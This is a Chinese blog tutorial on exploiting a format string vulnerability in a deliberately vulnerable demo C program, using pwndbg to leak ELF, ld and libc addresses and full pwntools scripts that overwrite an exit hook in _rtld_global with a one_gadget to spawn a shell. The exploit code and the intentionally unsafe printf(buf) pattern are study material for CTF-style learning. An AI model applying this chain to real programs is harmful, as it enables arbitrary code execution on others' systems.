boxmoe_header_banner_img

all in pwn!

文章导读

格式化字符串漏洞


avatar
admin 2026年7月6日 68

编译一个demo的代码

#include<stdio.h>
#include<string.h>
#include <unistd.h>

int main() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);

    char buf[0x100] = {};

    while (1) {
        puts("please input:");
        read(0, buf, 0x300);
        if (strcmp(buf, "exit") == 0) {
            break;
        }
        printf(buf);
    }

    return 0;
}
gcc test.c -g -m64 -o test  // 64位
gcc test.c -g -m32 -o test  // 32位

先找断点

from pwn import *

elf = ELF("./test")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
p = process([elf.path])
gdb.attach(p)
p.interactive()
pwndbg> u main 40
...
0x55a6537e53b3 <main+458>              call   printf@plt                <printf@plt>
...
pwndbg> vmmap 
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
             Start                End Perm     Size Offset File
    0x55a6537e4000     0x55a6537e5000 r--p     1000      0 /home/ubuntu/pwn/user_pwn/fmt/2-3/test
pwndbg> p/x 0x55a6537e53b3-0x55a6537e4000
$1 = 0x13b3

所以下断点即为:

gdb.attach(p, "b *$rebase(0x13b3)\nc")

根据printf的特性%n$p, n$表示第n个参数,64为的参数为rdi dsi rdx rcx r8 r9rdi是格式化字符串,所以对于的n从rsi开始作为第一个参数起。所以寄存器占用5个参数。其余参数从栈上一次读取。

查看寄存器中的信息:

*RCX  0xffffffff
*RDX  0x65
*RDI  0x7ffc4d2717c0 ◂— '%1$p%41$p%5$p'
*RSI  0x56508185f012 ◂— 0x1b01000074697865 /* 'exit' */
 R8   0xe
 R9   0x7f9e5c400d60 (_dl_fini) ◂— endbr64

不难看出,rsi r9分别含有程序段和ld段的数据,分别对应第一个和第五个参数。

p.sendafter("please input:\n", "%1$p%5$p")
elf.address = int(p.recv(14), 16) - 0x2012
info("elf base: " + hex(elf.address))
ld_base = int(p.recv(14), 16) - 0x11d60
info("ld base: " + hex(ld_base))

然后查看栈上的参数

pwndbg> stack 50
00:0000│ rdi rsp 0x7ffc4d2717c0 ◂— '%1$p%41$p%5$p'
01:0008-108     0x7ffc4d2717c8 ◂— 0x7024352570 /* 'p%5$p' */
02:0010-100     0x7ffc4d2717d0 ◂— 0x0
...29 skipped
20:0100-010     0x7ffc4d2718c0 —▸ 0x7ffc4d2719c0 ◂— 0x1
21:0108-008     0x7ffc4d2718c8 ◂— 0x4b45c6b32620d400
22:0110│ rbp     0x7ffc4d2718d0 ◂— 0x0
23:0118+008     0x7ffc4d2718d8 —▸ 0x7f9e5c20d083 (__libc_start_main+243) ◂— mov edi, eax

0x23偏移处有__libc_start_main,位于libc上,0x00处1个参数,寄存器5个,0x23偏移,所以是%41$p, 于是有:

p.sendafter("please input:\n", "%41$p")
libc.address = int(p.recv(14), 16) - 0x24083
info("libc base: " + hex(libc.address))

找到exit_hook

   0x7f9e5c400daf <_dl_fini+79>     call   qword ptr [rip + 0x1d1bb]     <rtld_lock_default_unlock_recursive>
 
   0x7f9e5c400db5 <_dl_fini+85>     sub    r12, 1

rip也就是0x7f9e5c400db5rip + 0x1d1bbcall的地址,也就是:

pwndbg> tel 0x7f9e5c400db5+0x1d1bb
00:00000x7f9e5c41df70 (_rtld_global+3856) —▸ 0x7f9e5c3f0160 (rtld_lock_default_unlock_recursive)

计算出对应的偏移

pwndbg> p/x 0x7f9e5c41df70-0x7f9e5c3ef000
$5 = 0x2ef70

对应的代码为:

exit_hook = ld_base + 0x2ef70
info("exit hook: " + hex(exit_hook))

找到一个gadget

2-3 one_gadget /lib/x86_64-linux-gnu/libc.so.6
0xe3afe execve("/bin/sh", r15, r12)
constraints:
  [r15] == NULL || r15 == NULL || r15 is a valid argv
  [r12] == NULL || r12 == NULL || r12 is a valid envp

0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
  [r15] == NULL || r15 == NULL || r15 is a valid argv
  [rdx] == NULL || rdx == NULL || rdx is a valid envp

0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL || rsi is a valid argv
  [rdx] == NULL || rdx == NULL || rdx is a valid envp
one_gadget = libc.address + [0xe3afe, 0xe3b01, 0xe3b04][0]

格式化字符串写gadget到exit_hook,字符串的偏移为

00:0000│ rdi rsp 0x7ffc241520c0 ◂— 0x3125633431383225 ('%2814c%1')
01:0008-108     0x7ffc241520c8 ◂— 0x3832256e6c6c2433 ('3$lln%28')
02:0010-100     0x7ffc241520d0 ◂— 0x6e68682434312563 ('c%14$hhn')
03:0018-0f8     0x7ffc241520d8 ◂— 0x6824353125633925 ('%9c%15$h')
04:0020-0f0     0x7ffc241520e0 ◂— 0x3125633034256e68 ('hn%40c%1')
05:0028-0e8     0x7ffc241520e8 ◂— 0x3235256e68682436 ('6$hhn%52')
06:0030-0e0     0x7ffc241520f0 ◂— 0x6e68682437312563 ('c%17$hhn')

所以有如下payload

p.sendafter("please input:\n", fmtstr_payload(6, {exit_hook:one_gadget}))
p.sendafter("please input:\n", "exit\x00")

此时查看一些exit_hook为:

pwndbg> tel 0x7fbcc44eff70
00:00000x7fbcc44eff70 (_rtld_global+3856) —▸ 0x7fbcc439eafe (execvpe+638) ◂— mov rdx, r12

最终的exp为

from pwn import *

elf = ELF("./test")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
p = process([elf.path])

p.sendafter("please input:\n", "%1$p%5$p")
elf.address = int(p.recv(14), 16) - 0x2012
info("elf base: " + hex(elf.address))
ld_base = int(p.recv(14), 16) - 0x11d60
info("ld base: " + hex(ld_base))
p.sendafter("please input:\n", "%41$p")
libc.address = int(p.recv(14), 16) - 0x24083
info("libc base: " + hex(libc.address))

exit_hook = ld_base + 0x2ef70
info("exit hook: " + hex(exit_hook))
gdb.attach(p, "b *$rebase(0x13b3)\nc")
pause()
one_gadget = libc.address + [0xe3afe, 0xe3b01, 0xe3b04][0]
p.sendafter("please input:\n", fmtstr_payload(6, {exit_hook:one_gadget}))
p.sendafter("please input:\n", "exit\x00")
p.interactive()

当然也可以手动构造payload

如果覆盖小数字,如果把地址放在格式化字符串前面会使得已输出字符个数大于数字大小,因此要将地址放在后面
以数字2为例:aa%k$n[padding][addr]可以把一个4字节覆盖成一个小的数

gdb.attach(p, "b *$rebase(0x13b3)\nc")
pause()
p.sendafter("please input:\n", "aa%7$nbb" + p64(0xdeadbeef))

对应的栈为

00:0000│ rdi rsp 0x7fff17f68e50 ◂— 0x62626e2437256161 ('aa%7$nbb')
01:0008-108     0x7fff17f68e58 ◂— 0xdeadbeef

ni下一步

*RAX  0xdeadbeef
*RBX  0x2
──────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────
0x7f7ad7aa1f2d <printf_positional+8589>    mov    dword ptr [rax], ebx

可见写了一个4字节数据,值为2

覆盖大数字,直接一次性输出大数字个字节来进行覆盖时间过长,因此需要把大数字拆分成若干部分,分别进行覆盖。比如hhn按字节写或hn按双字写。

hhn写入32bit数为例。payload形式为

[addr][addr+1][addr+2][addr+3][pad1]%k$hhn[pad2]%(k+1)$hhn[pad3]%(k+2)$hhn[pad4]%(k+3)$hhn

但是由于64为会出现0截断,所以addr放到后面

[pad1]%k$hhn[pad2]%(k+1)$hhn[pad3]%(k+2)$hhn[pad4]%(k+3)$hhn[addr][addr+1][addr+2][addr+3]

所以有

payload = ""
payload += "%{}c%{}$hhn".format(one_gadget >> 8 * 0 & 0xFF, 11)
payload += "%{}c%{}$hhn".format(((one_gadget >> 8 * 1 & 0xFF) - (one_gadget >> 8 * 0 & 0xFF) + 0x100) % 0x100, 12)
payload += "%{}c%{}$hhn".format(((one_gadget >> 8 * 2 & 0xFF) - (one_gadget >> 8 * 1 & 0xFF) + 0x100) % 0x100, 13)
payload = payload.ljust((len(payload) + 7) / 8 * 8)
payload += p64(exit_hook)
payload += p64(exit_hook + 1)
payload += p64(exit_hook + 2)

最终的payload为

from pwn import *

elf = ELF("./test")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
p = process([elf.path])

p.sendafter("please input:\n", "%1$p%5$p")
elf.address = int(p.recv(14), 16) - 0x2012
info("elf base: " + hex(elf.address))
ld_base = int(p.recv(14), 16) - 0x11d60
info("ld base: " + hex(ld_base))
p.sendafter("please input:\n", "%41$p")
libc.address = int(p.recv(14), 16) - 0x24083
info("libc base: " + hex(libc.address))

exit_hook = ld_base + 0x2ef70
one_gadget = libc.address + [0xe3afe, 0xe3b01, 0xe3b04][0]
info("exit hook: " + hex(exit_hook))
info("one_gadget: " + hex(one_gadget))

payload = ""
payload += "%{}c%{}$hhn".format(one_gadget >> 8 * 0 & 0xFF, 11)
payload += "%{}c%{}$hhn".format(((one_gadget >> 8 * 1 & 0xFF) - (one_gadget >> 8 * 0 & 0xFF) + 0x100) % 0x100, 12)
payload += "%{}c%{}$hhn".format(((one_gadget >> 8 * 2 & 0xFF) - (one_gadget >> 8 * 1 & 0xFF) + 0x100) % 0x100, 13)
payload = payload.ljust((len(payload) + 7) / 8 * 8)
payload += p64(exit_hook)
payload += p64(exit_hook + 1)
payload += p64(exit_hook + 2)

gdb.attach(p, "b *$rebase(0x13b3)\nc")
pause()

p.sendafter("please input:\n", payload)
p.sendafter("please input:\n", "exit\x00")
p.interactive()



评论(0)

查看评论列表

暂无评论


发表评论

表情 颜文字
插入代码